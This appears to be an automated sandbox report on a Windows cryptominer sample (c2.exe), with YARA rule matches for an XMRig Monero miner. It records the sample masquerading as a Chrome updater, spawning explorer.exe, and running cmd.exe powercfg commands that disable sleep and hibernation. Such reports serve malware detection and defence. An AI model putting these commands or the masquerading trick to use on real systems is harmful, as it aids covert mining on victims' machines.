Source: 19.2.conhost.exe.1b6a867cc20.2.raw.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 19.2.conhost.exe.1b6a867cc20.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 19.2.conhost.exe.1b6a867cc20.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 19.2.conhost.exe.1b6a8680500.0.raw.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 19.2.conhost.exe.1b6a8680500.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 19.2.conhost.exe.1b6a8680500.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000013.00000002.4158581402.000001B6A8670000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: Process Memory Space: conhost.exe PID: 7808, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: C:\Windows\Temp\lnobvhjdatqu.tmp, type: DROPPED	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: C:\Windows\Temp\lnobvhjdatqu.tmp, type: DROPPED	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: C:\Windows\Temp\lnobvhjdatqu.tmp, type: DROPPED	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware

Source: classification engine

Classification label: mal100.troj.spyw.evad.mine.winEXE@45/5@2/3

Source: C:\Users\user\Desktop\c2.exe

File created: C:\Program Files\Google\Chrome\updater.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7448:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7948:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7704:120:WilError_03

Source: C:\Users\user\Desktop\c2.exe

File created: C:\Users\user\AppData\Local\Temp\wjwbvsfqhrdh.xml

Jump to behavior

Source: C:\Program Files\Google\Chrome\updater.exe	Process created: C:\Windows\explorer.exe
Source: C:\Program Files\Google\Chrome\updater.exe	Process created: C:\Windows\explorer.exe			Jump to behavior

Source: c2.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"

Source: C:\Users\user\Desktop\c2.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: c2.exe

ReversingLabs: Detection: 42%

Source: C:\Users\user\Desktop\c2.exe

File read: C:\Users\user\Desktop\c2.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\c2.exe "C:\Users\user\Desktop\c2.exe"
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: unknown	Process created: C:\Program Files\Google\Chrome\updater.exe "C:\Program Files\Google\Chrome\updater.exe"
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Program Files\Google\Chrome\updater.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\System32\conhost.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Program Files\Google\Chrome\updater.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: unknown	Process created: C:\Program Files\Google\Chrome\updater.exe "C:\Program Files\Google\Chrome\updater.exe"
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Users\user\Desktop\c2.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0	Jump to behavior
